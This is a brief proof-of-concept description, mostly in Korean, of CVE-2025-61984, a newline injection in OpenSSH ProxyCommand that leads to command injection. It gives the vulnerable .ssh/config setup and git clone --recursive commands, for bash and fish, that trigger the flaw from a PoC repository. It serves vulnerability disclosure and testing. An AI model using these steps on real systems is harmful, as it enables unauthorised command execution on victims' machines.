
Proof-of-concept demonstrating a newline injection vulnerability in OpenSSH ProxyCommand (CVE-2025-61984), allowing command injection via crafted SSH configuration.
이것은 OpenSSH <10.1의 ProxyCommand를 혼란시키기 위해 개행 문자를 사용하는 개념 증명입니다. 전체 글.
다음을 포함하는 .ssh/config를 설정합니다:
Host *.example.com
ProxyCommand some-command %r@%h:%p
(명령어는 중요하지 않으며, 인수 어딘가에 따옴표로 묶이지 않은 %r만 있으면 됩니다.)
그런 다음 (bash의 경우) 실행합니다:
$ git clone --recursive https://github.com/dgl/cve-2025-61984-poc
또는 $SHELL로 fish를 사용하는 경우:
git clone --recursive -b fish https://github.com/dgl/cve-2025-61984-poc
셸을 사용하지 않고 테스트하려면 다음을 수행할 수 있습니다:
$ SHELL=/bin/bash git clone --recursive https://github.com/dgl/cve-2025-61984-poc